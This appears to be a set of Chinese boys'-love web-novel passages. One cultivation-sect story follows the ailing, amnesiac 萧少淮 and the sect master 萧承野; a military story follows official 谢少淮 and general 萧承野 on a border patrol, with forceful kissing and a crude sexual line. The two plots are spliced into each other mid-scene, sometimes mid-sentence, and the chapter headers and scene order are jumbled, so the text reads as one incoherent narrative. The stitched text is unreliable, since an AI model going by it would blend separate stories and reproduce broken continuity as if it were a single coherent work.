“我可以留你在销春尽。”沉迷话本的松一丝毫没意识到哪里不对,扬了扬手中的书:【我看话本里写,经年不见但又思念之人便可称为白月光——唔!】 松竹终于忍无可忍地伸出手,一巴掌捂住松一的嘴。 【抱歉,师父,我们不是有意……】 【白月光?】边叙忽然冷笑了一声。 【不,死了的才是白月光。】 松竹一愣,他抬起头,边叙神色冰冷:【祸害遗千年,我不信他就这么轻易死了。】 他语气带着无尽的寒意,眼眸却深不见底,仿佛带着亘古间的无垠怒火。 松竹注意到,自家师父握着书册的手正无意识一点点攥紧。 【他要是如今再出现在我面前,我一定……】 边叙说到一半,目光忽然落到面前神情茫然的两个小徒弟身上。 他倏忽意识到什么,闭了闭眼,到底没再说下去。 那天之后,自家师父便再没提起过从前的事,松一偶尔好奇追问,也被他直接否认了。 久而久之,连松竹也疑心他那天是不是真的听到了这个故事。 有风从学堂外的竹林间刮过,带起一阵轻柔的沙沙声。 学堂内,松竹倏然回过神,脑海里不知怎的蓦然浮现出萧少淮刚进来时,边叙莫名的那一声“师兄”。 脑海中零散的记忆逐渐串联成线,松竹不可置信地抬起头,正看到萧少淮的目光压根没有落到堂下,而是半侧过身,神色古怪地望着边叙。 但只那一瞬,萧少淮的表情又恢复了一贯的慵懒。 “边峰主怎么忽然提起膳房了?若是饿了,我现在可以去给你做点吃的。” 萧少淮笑眯眯开口,一边说一边想绕过边叙出门,推了一下,却没推动。 两人无声地对峙了片刻,却到底是萧少淮先落下阵来,后退一步,似是无奈地叹了一口气。 “好,边峰主说什么我都依,边峰主想要我教课,我教课便是。” ——他再不妥协,这个书呆子怕是能在大庭广众之下把一切都给抖出来。 边叙太清楚萧少淮心里是个什么想法了,身体上示一下弱,口头上也必须把这个便宜给讨回来。 下一秒,法阵中的符纸应声炸开,难以预计的澎湃魔气瞬间倾泻而出。 同一刻,远处长生殿内的萧承野倏然睁开眼,身形一动,迅速掠出窗外。 萧少淮的欢呼声还没出口,下一秒便听萧承野继续开口:“但销春尽不养闲人,你若想留下来,需要展现出你的价值。” 萧少淮愣了愣。 他犹豫了一下,小声开口:“萧宗主若需要暖床,我也是可以的。” “教授符道这门课的长老近期请休了,我要你去教符画卦象这一门课。”萧承野冷着脸径直打断他的话。 萧少淮的眼眸微微睁大,他不可置信地望向萧承野:“你这是虐待病人,我重伤还未愈” “你若好好吃药,就可早日好转。” 萧少淮瞪了他一眼,咬咬牙又继续开口:“那我要换一间屋子。” 他一边说一边嫌弃地望向地上的药渍:“这个屋子里全是药味,我不喜欢,我要换一间上好的暖阁” 萧少淮话还没说完,便看面前的人袍袖一挥,瞬间将地面上的药汁清扫一空。 萧少淮:? “我说了,要想在销春尽留下,获得那味药,需要你自己想办法。” 他转身径直向后走去,走了几步,忽然脚步微顿:“前几日松一、松竹他们撞上的魔教,是你引来的吗?” 顷刻间,萧少淮立刻明白萧承野方才举剑的缘故。 他愣了一下,倏然笑开:“萧宗主原来方才是怀疑我啊。” 他没有直接回答,微微坐直身子,忽然扯到另一个话题:“那萧宗主怎么还不舍得伤我?” 萧少淮坐的有些乏了,轻轻锤了锤腰,干脆从床上跪坐起身,白衣委地,恍若一只缥缈的蝴蝶。 他撑着身子,腰肢微陷,语气暧昧:“萧宗主果然对我情根深种——” 萧承野一言不发转身直接向门口走去:“一会儿我遣人给你送碗新的汤药,你若想痊愈,记得按时服用。” 他往前走了两步,忽然听到身后萧少淮带笑的声音再次传来。 “萧宗主问了我这么多问题,总也该我问萧宗主一个问题了吧。” 萧承野回过头,正看到萧少淮笼着袖子,靠在床头,用他一贯慵懒随意的语调开口:“萧宗主对我的过去似乎很是了解。” “我想知道,萧宗主对我的身份到底知道多少?” 房间内静了下来,朝阳在房檐外泼下一整片漂亮的夹竹桃粉,一袭玄衣的人半侧过身,站在光影交接处,看不清神情。 萧少淮也不催他,调整了一下坐姿,杵着下巴,似笑非笑地望着他。 谢少淮垂睫,“多谢大人。” 说罢,谢少淮抬眸看了眼马儿身上的萧承野,对他道:“将军既然要出巡,不如带下官前去,许能为将军出绵薄之力。” 萧承野闻言眸子微微一沉,他看了一旁的天子脸色,就知道这件事他拒绝不了。 萧承野:“出巡视察是要出我大周国境的,此去凶险大人还是再考虑一下。” “不必,” “下官有些护身功夫,将军无需担心。”说罢,谢少淮看着萧承野,认真道:“将军,带路吧。” 萧承野蹙眉看了眼不寻常的谢少淮,虽然不知道他为什么突然这样,但他的心还是不争气狠狠地揪了一下:“嗯。” 第 69 章 第 69 章 谢少淮换了身轻甲,自己单独骑了马跟随萧承野的骑兵部队从大营出发,朝着宴州外奔驰而去。到了亥时左右,他们到了大周边境的瞭望塔附近。 这里还是大周的国境,比较安全,萧承野指挥军队扎营修整,不久后荒凉的空地上边多了几十个简易帐篷,这些帐篷几乎都是两人一个,谢少淮不会扎只能一会儿找落单的骑兵帮自己一下。 萧承野在营帐边上弄篝火,谢少淮见男人没弄自己的帐篷,便随后朝身边的骑兵要了一个:“兄台,这个没人用吧?” 一旁给自己扎帐篷的骑兵道:“大人放心用好了,将军方才特意又让兄弟们给大人多拿了一个。” “多谢,”谢少淮说罢,随便拿了一个包着帐篷的包裹,朝着一旁弄火的萧承野走去。 萧承野弄一会儿做饭的篝火,这时候副将扎好帐篷走了过来:“将军,这些属下来就行了,您的帐篷扎好了,去休息一会儿吧。” 萧承野席地而坐,手里拿着棍子百无聊赖地戳着火堆,眼角余光扫到了朝着他走来的谢少淮。 木门的吱呀声随着屋外人远去的脚步声一同消散。 萧少淮拥着被子坐在床榻的最角落,望着萧承野眨了眨眼。 萧承野没有看他,低头望向手中的药碗。 萧少淮一句“不喝”还未下意识说出口,忽然感觉脖颈一凉。 一把长剑破空而出,在逼近他命脉时又生生止住,剑刃微倾,歃血寒凉。 那是萧承野的本命之剑——微尘里。 “一微尘里三千界”,一寸剑意,三千浮生,不过剑意便能伤人。 而被微尘里伤过的人,即便伤口愈合,再靠近时经脉也会感到隐痛,久而久之便可带来深入骨髓的痛楚。 ——据说当年魔族大战,最终关头便是萧承野手持微尘里,一剑定乾坤。 剑刃出鞘,无人不惧。 萧承野举着长剑,垂下眼,无波无澜地望着面前的人。 萧少淮却似乎没有什么反应,只愣了一下。“萧少淮?”樾为之咬咬牙,继续平静开口。 “萧少淮,你怎么样?哪里不舒服……” 萧少淮耳中一片嗡鸣。 刚才那一下摔的不轻,撞的他本就难受的肺腑一阵阵发疼。 他没忍住低哼一声,抱着双臂控制不住地蜷缩起来,好半天才听到樾为之的呼喊,慢慢挤出一个笑意来。 “我没事……就是刚刚不小心绊了一下,一下子没站稳……” “萧宿泱。” 樾为之直接冷声打断了他的声音:“说实话。” 两边一时间都安静下来,樾为之手心出了一层冷汗,却强迫自己冷静下来,咬牙等着对面的人开口。 过了不知道多久,萧少淮虚弱却带着些许笑意的声音终于传来。 “我感觉不太好……为之。” 侧躺在地板上的人叹了一口气,轻声开口:“我现在……看不清也听不清,心口发冷,有些憋闷。” ——他声音说到最后已几乎全是气音,何止憋闷,怕是已经上不来气。 樾为之愣了一下,意识到什么,整个人瞬间如坠冰窟。 他之前为了把萧少淮的命吊住,用了太多猛药,到最后已经顾不得药性相克之类的事。 后来萧少淮的命虽然保下了,但体内的药性互相纠缠,产生了许多难以预料的副作用。 到如今樾为之也不清楚,萧少淮每次受伤或经脉受损时,会导致哪种副作用的发生。 此时他听着萧少淮的话,瞬间明白了什么,咬牙开口:“……你五感出了问题。” “你刚才为什么不早跟我说——” 萧少淮半阖着眼,微微勾了勾唇:“出现好一阵了……我以为再过一会儿就该好了。” 他感觉自己似乎昏睡过去了一瞬,再清醒时下意识含糊开口:“而且我都已经吃了药,想来无事……” ——吃了药,却并未有好转。 樾为之垂在身侧的手指倏然刺入掌心,他意识到萧少淮如今的神志怕是已有些不清醒。 “萧少淮,你先让自己清醒一点,你现在在哪里,周围有人吗……”樾为之咬牙,再一次恨销春尽门禁森严,让他无法立时过去。 对面的人没了声息,过了几秒,忽然惊醒般,急促地喘了几口气,低低呛咳起来。 “我有点困……为之。” 萧少淮偏头咳了咳,感觉一股腥甜味在口腔中蔓延,眼前明明暗暗的光点也在一点点被黑暗吞噬。 这种感觉有些奇怪,但心口积压许久的闷痛却慢慢减轻了几分,除了周身有些发冷,却比清醒时还要舒服几分。 萧少淮将自己又蜷缩了几分,轻轻吐出一口气。 “我先睡一会儿……别担心……” 一直跟在萧少淮脚边打转的白猫见萧少淮许久没有动静,亦步亦趋上前,伸出脑袋挤进蜷缩的人臂弯间。 萧少淮的手虚虚搭在白猫背上,微微勾了勾唇,眼皮却不堪重负般疲倦地垂了下来。 他静了几秒,指尖忽然颤了一下,紧接着骤然失了力,顺着白猫柔软的背脊一寸寸滑落,颓然落了下去。 “萧少淮,你等一下,先别睡——”那头樾为之焦急开口。 回应他的只有白猫不明所以的呼噜声。 他歪了歪头,望向再往前半寸便能直接割破他喉咙的剑刃上,神情不显恐惧,反而有些疑惑。 萧承野静静地盯着他。 萧少淮皮肤本就有一种不带血色的苍白,在剑光的映衬下,连皮肤下青色的血管都清晰可见,似乎稍一用力便能割破。 面前的人却浑然不觉危险般,盯了几秒,忽然偏过头,纤细的脖颈往那剑刃上径直撞去—— 冰冷的剑刃闪着微光,萧承野瞳孔剧缩,手急急往后撤:“你干什么——” 却见那人前冲的动作又忽然戛然而止,稳稳停在离剑刃只差微毫的地方。 萧少淮半撑着身子,抬头冲着他勾了勾唇:“萧宗主看来不愿伤我啊。” 他琉璃色的眼眸闪着探究的光:“不敢,还是不想?” 萧承野握着剑的手倏然攥紧。 他手臂倏然扬起,还没来得及动作,下一秒,只听“叮”的一声脆响,那柄冷冰冰的长剑被萧少淮倏得弹歪了半寸。 “你做什么,你疯了?”萧承野再次被吓了一跳,没忍住咬牙,“你知不知道你方才若被刺伤——” “冷死了,离我这么近做什么。” 萧少淮神情又恢复了一贯的懒散。 他有些嫌弃地收回手,搓着手指哈”了一口气:“怎么,萧宗主火气这么大,不过是不想喝药,便要杀了我?” 萧承野一时间似乎没有反应过来萧少淮在说什么,举着剑神情阴冷地站在原地。 萧少淮见他不答,眨了眨眼,装模作样地叹了一口气:“让我喝也可以,萧宗主跟我好好商量嘛,比如给我换一间好点的屋子我就喝。” 萧承野此时似乎终于回过神。 他盯了他几秒,忽一抬手,微尘里从他手中瞬间凭空消失。 “为什么不喝药?” 萧少淮撇了撇嘴:“喝了又没用,治不好还白遭一份罪,不如不喝。” “你怎知没用?”萧承野不知有没有真信,只顺着他的话接了下去。 萧少淮瞥了他一眼,装模作样地又叹了一口气:“我这身体是陈年旧疾了,暂时死不了,但也治不好,就先这么拖下去” 他话还没说完,忽然被萧承野沉声打断:“你身上有十几处外伤,两处内伤,肺经、心经都受过重创,体虚畏寒,脾胃不调——拖下去就是慢性死亡。” 萧少淮的声音戛然而止。 萧承野捏着药碗的手一点点收紧,死死盯着面前一言不发的人。 “你的身体是怎么变成这样的?这所谓的‘陈年旧疾’是哪来的?” 房间里一片死寂,漂浮的尘埃随着光影一起一伏,坐在床上的人垂着眼,半张瓷白的脸隐在阴影中,看不真切。 萧承野死死地盯着他,半晌忽然听到一阵轻快的语调响起。 “所以你之前真的认识我啊?” 萧少淮抬起头,一双桃花眼间不知何时盛满了笑意:“你认识从前的我,知道我曾经是什么样。” 他忽然跪坐起身,如新奇的小动物般,撑着身子凑到了萧承野面前:“萧宗主对我这么了解,看来真的是我的心上人啊。” 萧承野捏着药碗的手倏然收紧,萧少淮仿佛毫无察觉般,继续笑盈盈地开口:“我们什么时候完婚啊,心上人?” “萧宿泱!”萧承野咬牙。 萧宿泱是他的名。 萧少淮眼眸间似乎闪过一丝诧异,却又迅速掩下,若无其事地眨眨眼,“哎,我在。” “我没有时间跟你胡闹,你到底回来是要干什么——” “我失忆了。” “咣当”一声脆响,白瓷碗摔到地上,漆黑的汤药洒了满地,浓郁的药香瞬间盈满整个房间。 萧少淮轻轻地“啊”了一声,有些无辜地抬起头。 萧承野后退一步,向来平静的脸上露出几分愕然与猜疑。 他咬牙开口:“你说什么?” “这样最好不多。”萧承野吃完炊饼,把粥盛出来端给青年:“吃罢。” 谢少淮已经吃了一个炊饼了,饱的吃不下了:“吃饱了,将军自己吃吧。” “嗯,”谢少淮饭量小,萧承野是知道的,没必要强求他。 萧承野把粥盛出来,谢少淮起身走到一旁,抖了抖身上的沙子,“将军先吃,我先去收拾一下睡觉的地方。” “那边,”萧承野指了指自己的帐篷,“本将的宽敞些。” “好,”谢少淮应了一声,随后看了眼萧承野指的方向:“那我先去了,将军吃完若无事便过来早些休息。” 萧承野怒己不争地“嗯”了一声,“知道了。” 第 70 章 第 70 章 出来巡查装备要以轻便为主,帐篷由几根胡木枝削成的不到手腕粗细的棍子和麻布搭建,萧承野作为主将帐篷虽然大了一些,但也仅够二人翻腾一圈。 帐内,谢少淮被萧承野摁在身下。萧承野带着茧子的手握住了他的脖颈,双膝强势分开了他的腿,箍紧了他的腰身,使他除了被迫接受他的吻外做不了多余的动作。 “张开嘴。” “舌头伸出来。” “含好。” “别送口水就来……唔……”谢少淮话音未落,口腔就被湿濡的舌头侵占,萧承野托着他的后脑勺与他接吻,时不时渡口水过来,又含着他的舌尖吮吸回去,将他的舌都含麻了。 谢少淮要喘不过气来,便偏着头过去呼吸,萧承野正亲的上头,哪里允许他躲避:“回来。” “你刚才伤到我了,小师傅。”萧少淮缩在松一怀里,虚弱抬起头。 “你要对我负责啊小师傅,快带我回宗门治疗” 松竹眉心跳了跳,他咬牙:“我何时伤了你?刚才那一剑我都没起剑气” “魔族来之前。” 萧少淮眼眶微红地抬起头,一双桃花眼湿漉漉地蒙上了一层水雾:“你打向我的那个符咒小师傅难道忘了吗,真的很痛的。” 他话音刚落,便感觉周围忽然安静了下来。 萧少淮眨了眨眼,后知后觉地意识到似乎哪里不对。 紧接着便听松竹缓缓开口:“那是个显形符。” 萧少淮委屈的神情瞬间一滞。 “没有威力,只能显形。”等他再醒来时,不出意外地感觉身边多了一个毛绒团子。 萧少淮抬手摸索着将白猫揽在怀里,下一秒,听到樾为之的声音从白猫颈间传来。 “醒了?” 樾为之哼了一声,在另一边打了个响指。 白猫颈间的储物袋光芒大盛,一个药瓶倏然向萧少淮飞来。 萧少淮慢半拍转过头,在最后一刻抬手接住,有些无奈地开口:“你知道我现在是个半聋半瞎的状态吧。” “我只知道你玩的很开心。” 樾为之哼笑一声:“你早知他是萧承野吧?” 萧少淮没有立刻回答,忽然抬手覆上面上的白绫。 刚才吞下去的那一张符纸的灵力此时已悬在经脉,萧少淮掌心聚力,终于借着那上面的灵力冲破了白绫上的封印。 他摘下白绫,眼眸依旧有些涣散,却带着遮掩不住的笑意。 “最开始……确实是不知的。” 他捂唇咳了咳,慢悠悠开口:“但很轻易……就猜到了。” ——那肌肤相近时脉搏间的跳动……做不得假。 萧少淮垂了垂眼,语气间似乎多了几分愉悦:“你瞧,他方才的反应多有趣。” 樾为之冷笑:“所以你昨天明明能当场证明,却偏偏不说。” “你不会真是因为生萧承野的气了吧?” 萧少淮顿了一下,紧接着又迅速弯了弯眼:“我生他的气做什么?” “我只是很好奇,他到底想做什么。” 他撑坐起身,双腿垂落在床侧,一晃一晃地动着,好似玩心大发的孩童。 “他昨天明显也看出来了并不是我,却依旧强行激怒我,将我关到了这里。” 萧少淮抬起头,依旧模糊的视线环顾了一圈四周。 “若不是这样……我还不知道萧承野的寝室内,有这样一个温柔乡呢。” “阁下精通符咒,想必知道显形符的作用吧。” 旁边的松一反应过来,倏然一把将萧少淮推开:“骗子,你又想骗我!” 萧少淮身子被推的晃了一下,松竹盯着萧少淮,语气微沉:“阁下三番五次、处心积虑想进我宗门,到底所为何事——” 他话还没说完,便看萧少淮身子一颤,忽然爆发出一阵疾咳,紧接着偏过头,喉头一滚,吐出一口血来。 那一口鲜血正好喷到旁边的草丛间,阳光映射下碎成一地淋漓的血点。 萧少淮咳的直不起身,捂住唇弯下腰,清瘦的背脊随着呼吸微微发颤。 松一神情间露出些许不忍,又想要蹲下身,被松竹死死拉住。 “阁下若身上真有伤,我们也不会为难阁下。但阁下须得告诉我们,来我们销春尽到底所为何事?” 面前的人没有说话,垂着头,如墨的长发垂落下来,随着他细碎的呼吸微微颤抖,遮住他半身寥落的血迹。 半晌,他似乎感应到了什么,撑在身侧的手指一颤,三枚铜钱倏然浮现在手指间。 萧少淮低头静默了几秒,忽然抬头往两人身后那朱红色的大门望去。 朱红色的大门安安静静,没有任何动静。 但萧少淮盯了几秒,忽然轻轻露出一个笑意。 “我都说了,我来宗门找我的心上人。” 松一“哼”了一声,只当他又在满嘴跑胡话:“什么心上人,你又在这里胡编乱造,你有本事告诉我那人是谁,我亲自去问——” 萧少淮却不答,撑着旁边的树干摇摇晃晃地起身,慢慢走到木门前站定。 朱红色的大门色迹斑驳,往底下一点,还有不知哪来的一道道刻痕。 树荫的光斑落到门上,遮住了陈旧斑驳,也遮住了面前人眼底翻涌的情绪。 萧少淮垂下眼,指尖从那些刻痕上一点点描过,轻轻按了按,忽然转头冲松一笑了一下:“好啊,我现在就告诉你。” 他收回手,屈起手指在门上一推一捻,葱白的指尖仿佛寥落的蝴蝶,在门上似乎随意划了几下。 松竹看着萧少淮那个手势,皱了皱眉。 ——他总觉得那个手势有一种莫名的熟悉感。 下一秒,他看着萧少淮屈起手指,在门上不紧不慢地叩了三下。 松一的眼睛瞬间睁大:“你疯了吗?都这个点了叩什么门——” 此时早已过了今日的宵禁时间,晚归的弟子一般都缩着尾巴想办法骗过看门人,偷偷溜进去,万分小心着别被抓获,再挨一顿棍子。 没有人敢这么明目张胆地直接过来敲门。 松一扑上来就想要制止他,在碰到萧少淮的那一刻,忽然感觉手臂重量一沉。 面前的人如玉山倾颓,直接往旁边软倒了下去。 松一扶住他,愕然低头:“你干什么——” 他话还没说完,却被萧少淮微弱的声音轻声打断:“一会儿谁应门,谁就是我的心上人。” 松一一下子没反应过来:“什么?” 萧少淮却没有再说话。 他半倚在他怀里,手指有些无力地攀着面前人的手臂,似乎轻笑了一声。 蝶翼般的睫毛颤了颤,支撑不住般一点点缓缓合上。 紧接着如玉山倾颓,白衣伴着血色轰然倒下。 松一急道:“喂,你——” 他话还没说完,木门“吱呀”一声轻响,终于缓缓打开。 松一急的满头大汗,也来不及看是谁,只急道:“喂,那个谁,你的心上人晕倒了,你快来接——” 他话还没说完,忽然听到松竹僵硬的声音响起:“参见宗主。” 松一的声音戛然而止。 他绝望地抬头,正对上萧承野无波无澜的眼眸。 松一两眼一黑。 四周一片寂静,萧承野半天都没有说话,松竹悄悄抬头,却发现自家宗主并没有看松一。 ——而是目光紧紧落在了他怀里昏迷不醒的那人身上。 松竹忽然想起,萧少淮刚才叩门前那看似随意的手势,其实是符道里的一个古老的致敬起手式。 ——仿佛意思是久别重逢。 “前面应当有要去宴州偷袭强东西的匈奴人,埋伏起来,把他们一锅端了。”萧承野挑眉看了一眼明显不愿将身子碰上沙子的谢少淮,然后又捧了湿润的沙子洒在他腰上:“怎么,大人以为行军打仗是玩儿过家家吗?” “还是觉得本将又莽撞了?”萧承野沉了沉眸,轻笑一声带着十分的狂傲:“若是破玄出巡,他不会想剿灭这伙人,因为他不是本将,不是琢州小霸王。” “本将知道你再想什么。” “不过你说了不算,本将才是指挥,廷尉大人。” 谢少淮:“……” “没有,”谢少淮咬了咬牙,伏了下去,学着萧承野把自己半个身子埋在了沙子里:“这样行吗?” “嗯,”萧承野看着眼发丝衣衫凌乱的青年,调侃了一句:“大人这也算同本王生同衾死同穴了。” 谢少淮看着冷静自持的萧承野:“王爷瞎说什么。” 70-80 第 71 章 第 71 章 谢少淮跟着萧承野在沙子里伏了近两个时辰,湿润的沙子钻进衣物中,腥咸的泥土味让他感觉自己被投掷到了充满粪水的污水中,这里是通往宴州的必经之路,来往行商的骆驼队络绎不绝,沙子里甚是透着骆驼尿的味道。 但实际上这沙子干净的很,一切不过是他的心理作用。 他从未来过大漠,可萧承野却在这里长大,戍守边疆的将士们已经不知与这砂石滚了多少个年头。 就在谢少淮以为萧承野口中所说的匈奴人不会来的时候,在他身边同样伏在沙子里的萧承野趁着风动往他身边挪了一下。男人温热的体温贴着他的耳畔,热气随着他低声说话喷薄而出,落在他敏感的耳廓:“快了。” 谢少淮并未察觉到周围有什么异常,但是萧承野既然说了,那应该是埋伏的人要到了。 他小声回应了男人,旋即不远处突然传来踏踏的马蹄声。 谢少淮还未警觉起来,他身边的萧承野就突然喝了一声蒙语。 终灵山,销春尽宗门。“……你做什么?” 萧承野皱了皱眉,刚想上前一步,却见萧少淮再次往后挪了几分,撑着身子倚在床脚,警惕地往他这边望来。 他似乎并没有认出来人是谁,萧承野顿了一下,后知后觉想起来一件事。 萧少淮的五感……好像出了些问题。 昨日,论功堂。 【宗主,他的五感似乎有损。】 一个弟子站在床旁有些为难开口:【刚才您说要给他眼前蒙上白绫,我以为他是眼部有伤,就先检查了一下……】 【主要是视力和听力这两部分有些严重,大概是处于一种浑浑噩噩的状态,看不清晰、听不清明,其余三处目前只是略微有伤。】 那弟子看着萧承野垂着眼没有说话,只周身的气息却越发冰冷,心中狂跳不停。 ——不是说榻上这人来历不明,宗主似乎对他深恶痛绝,连刑罚都要自己亲自过问吗。 那弟子小心吐出一口气,下一秒,忽然听到萧承野再次开口:【能医治吗?】 那个弟子刚吐出去的气瞬间又吸了回来。 【我不太清楚,这位公子脉象有些太混乱了,具体为何如此、能否恢复,要等这位公子醒过来才知道。】 论功堂内一片寂静,只有窗外呼啸的风声不知疲倦地刮过。 下一秒,忽然听到萧承野沉声开口:【我知道了。】 那弟子绝望的连一会儿向自家父母告罪的家书都想好了,一时茫然抬头:【您说什么?】 萧承野没有看他,目光依旧落在床上昏迷的人身上:【你先下去吧。】 那个弟子愣愣地转过身,忽然想到什么,再次转头。 【宗主那白绫……】 他的声音忽然卡在喉咙里。 他看到,身后一席玄衣的人手中握着一段白绫,慢慢俯下身,单手将榻上昏睡不醒的人自然托起,将那白绫缓缓覆在其上。 两人那一瞬间距离贴得极近,恍惚似一个极尽温柔的拥抱。 但下一秒,萧承野似有所感般,转头望了过来。 那个弟子倏然回过神,慌不择路地转过身,差点一头撞到门框上。 那一瞬间他脑海中只有一个想法。 ——传言不可尽信。 ——宗主看起来明明很在意那个人…… 时值正午,艳阳高照,终灵山山间却不知为何起了一层雾。 两个身着玄色道袍的小弟子,缩着衣袖,牵着一匹马战战兢兢地走在山间小道上。 “你慢点走,师兄,今天的晚课不是还早” “什么晚课,你忘了长老说的今日魔族躁动之事吗?” 走在前面的人明显年长一些,皱眉将人往前拉了几步,头也不回地继续向前走去。 “何况今日宵禁时间也提前了,你再不快点,忘了上次让看门人拿棍子满宗门撵的时候了?” 牵马的弟子浑身一颤,下意识快走了两步。 销春尽宗内的看门人是个满脸络腮胡的男人,不知年岁,不知来处,不知修为,只脾气火爆,性格古板。 自两人有记忆起,便一直守着销春尽的大门。 “这几月宵禁都提前了多少次了,还有这魔族躁动的事,提了这么多次从未有人碰见过,我看完全没必要这么紧张”牵马的弟子虽然脚下加快了脚步,但还是有些不满地小声嘟囔。 “噤声。”走在前面的弟子沉声打断他的话。 “传闻魔族如今的门主便是从销春尽叛逃出去的,我们不能掉以轻心。” 牵马的人愣了一下,讶然抬头:“什么?” 有关叛逃那人的所有画像、资料已全部销毁,如今剩下的也只有传言。 年长那人顿了顿,只摇了摇头没有继续说下去。 他环顾了一圈四周,又催促道:“快些走,这周围的灵气流动,总让我感觉有些不对。” 牵马的人闻言有些紧张地左顾右盼了几下,又逐渐放松下来。 “我未曾感觉有何不同啊,师兄,怕不是你感知错了吧。” 年长的那人眉头紧皱,似乎想要反驳,但又不知从何说起。 不远处朱红色的宗门大门已若隐若现,牵马那弟子精神也逐渐放松下来。 “你就不要杞人忧天了师兄,咱们这不是已经快到宗门了?现在时间还早,大门应该还没落锁,咱们赶紧回去别被看门人抓到” 他话还没说完,面前突然横过一条臂膀。 正絮絮叨叨的弟子猝不及防,一头撞了上去,被吓的直接“啊”了一声,瞬间往后缩了缩。 “怎么了怎么了师兄?是出事了——” 他话还没说完,目光转到宗门前的台阶上,突然噤了声。 面前的青石板上蜷缩着一个人。 正直正午,斑驳的阳光从树叶的缝隙间落下,将血迹斑驳的白衣用微光包裹,及腰的乌色长发绕过腰肢散落在侧。 那人身形微屈,侧卧着,只露出小半张瓷白的脸。 ——宛如一幅暖阳下的凄清画卷。 “好美” 牵马的弟子不自觉感叹出声,下意识想往前一步,却被横在面前的胳膊再度拦下。 “阁下是什么人?”年长些的弟子皱着眉,沉声开口。 躺在地上的人动也未动,树林里不知哪里拂过一缕风,将长发下掩映的半张脸庞逐渐浮出了几分。 瓷白如玉,却带着几分病态的苍白,细长的睫毛微微颤抖,宛如初绽的梨花。 不知是昏是醒。 牵着马的弟子不自觉倒吸了一口气,挡在前面的人也一瞬间有些失神。 他反应过来什么,咬咬牙,忽然抬手直接向前甩出一道符咒。 “哎,松竹师兄——” 牵着马的弟子瞬间惊呼出声,下意识抬手想拦,却被强行按下。 “你别被他蛊惑了,松一。” 松竹挡在松一身前,紧绷着身子盯着对面的人。 “今日魔族躁动不安,他莫名出现在这里定有蹊跷。” “可万一 ——”松一急声开口。 “我有分寸。那个符咒若他没问题自然无事,但若他真的与魔族有关” 松竹的声音随着符咒的靠近逐渐低了下去,旁边的松一也没再说什么,紧张地转头望去。 下一秒,两人却同时倒吸了一口凉气。 那一道符咒没有打中面前的人,但也没有偏离,在接触到那一袭白衣的一瞬,就这么突然凭空消失了。 四周一片寂静,松竹眼中闪过一丝不可置信,松一无声地张了张口。 “难怪师父前几天让我多跟着师兄一起学。” 松一喃喃开口:“我原以为是为了让我向你学习,原来是为了监督师兄学啊。” 松竹: “那是为了让我监督你不要逃晚课。”松竹咬牙。 “我的符咒没有问题,刚刚” 他话还没说完,忽然看到那抹清瘦的身影似乎轻轻颤了一下。 “信,”萧承野突然说了一句,随后放缓了速度,握着谢少淮的腰将他反着抱在自己怀里。 谢少淮本能地勾住了萧承野的脖子,惊恐道:“王爷突然这么快做什么……” 萧承野不说话,很快他们就与身后跟着剩下的将士们拉开了一些距离。 谢少淮:“王爷,停下来,我要抓不稳了。” 谢少淮话音刚刚落下,便感觉后颈微微刺痛,萧承野竟然一口咬住了他的颈肉,说了两句蒙语。 薄情郎) (回去我要操-死你) 第 72 章 第 72 章 谢少淮整个人都埋在萧承野的胸膛上,着力点在男人的肩膀上,只听见他在自己耳畔说了几句蒙语,“下官听不懂蒙语。” “到了。”萧承野停下马儿,随后直接将谢少淮从马背上抱了下来,将自己的披风解了下来带到谢少淮怀里:“休息一会儿,后天应该就能回去了。” “王爷方才说了什么?”谢少淮抱着萧承野的披风,发现里边还有一瓶药膏,显然是将他方才那番话听进去了。 “没什么。”萧承野看了谢少淮一眼,“回大营本王再告诉你。” “来这边,我给你上药,” “什么喜欢,你在胡乱说什么”松竹脸“腾”一下就红了,难得有些着急地开口辩解。 旁边的松一有些新奇地看着自家师兄难得恼羞成怒的反应,“噗”的一声笑出了声。 萧少淮倒是没什么特别的反应,似乎已经习以为常。 他弯了弯眼,随口“哦”了一声,撑着身子想要起身,动作却忽然一滞。 萧少淮顿了顿,紧接着又若无其事地坐回了原地,转而左顾右盼地寻着什么。 “你在干什么?”一直观察着他的松一好奇开口。 “你来我们宗门到底是要干什么?先说好,宗门历来惩恶扬善,你若是来宗门寻求帮助的,最好先表明你的身份、来历” 他话还没说完,忽然看到对面的人抬起头,笑眯眯地冲他勾了勾手。 有潋滟的柔光从那双琥珀色的桃花眼间转瞬即逝,等松一再回过神时,已经鬼使神差地走到了萧少淮面前。 紧接着,他便听萧少淮笑眯眯地开口。 “我来宗门啊,是寻我的心上人。” 松一:??? 他脸瞬间爆红:“不,不是我,你在胡说什么,我都不认识你” “我知道啊。” 萧少淮微屈起双腿,手撑在身后,半仰着头无辜开口:“我现在起不了身了,想麻烦小师傅扶我起来一下。” 松一: ——他算是知道刚才萧少淮习以为常的神情是怎么来的了。 “你别再胡说八道,我就来帮你” 松一嘟嘟囔囔别过头,想要上前一步去扶人。 但他刚往前探了一下,身前忽然被人一拦,紧接着松竹微沉的声音从身前传来。 “阁下到底是谁?” 松竹挡在松一身前,垂眸开口:“师弟不懂事,阁下请不要捉弄于他。若阁下想要我们的帮忙,烦请先报上名姓。” 萧少淮看着面前小道士一本正经的做派,不知想到了什么,眼眸弯了弯。 他仰起头,刚准备继续说什么,神情却一凝,侧耳听了几秒,忽得转过头去。 “有东西要过来了。”边叙入师门晚,他们的师父那时已近半退隐。 他虽不像萧承野那般是被萧少淮一手带大,但也算是被半拉扯起来的。 于是那时,他便被正巧喜欢民间话本子的萧少淮,灌输了一堆不知真假的鬼故事。 ——以至于边叙后来最喜欢的是读书,最惧怕的却是书中的各种鬼怪怨灵。 此时他看着那团白影重新躲到了竹林后,无声地咽了一口唾沫。 他想要绕道却又急着赶路,犹豫了两秒后,到底重新探出头。 ——正看到那模糊的白团动了动,往他这边又挪了两步。 边叙倏然站直身子,木着脸毫不犹豫地再退了两步。 他脑海中一瞬间从“灵体怨气不散”到“枉死借尸还魂”都过了一遍,只恨自己没把松一从山底下买的桃木剑带在身上。 “悬河注火,急急如律……”边叙咬了咬牙,背在身后的手迅速掐了一个诀,死死盯着对面。 他只待那一团不知是猫是鬼的白影出现在月光下,就立刻甩一个禁锢符过去,然后再赶紧冲进殿内去寻小师弟。 但那白影往前挪了两步,忽得立身子。 边叙看着他慢慢抬起头,头顶的两个尖角在月光下一点点放大—— 下一秒—— “咪?” 边叙抬手的动作一顿。 他不可置信地垂下眼。 面前一只胖的脚脖子都看不出的白猫从阴影里慢慢走出,窝着尾巴蹲坐在原地,望着他戒备的姿势,好奇歪了歪头。 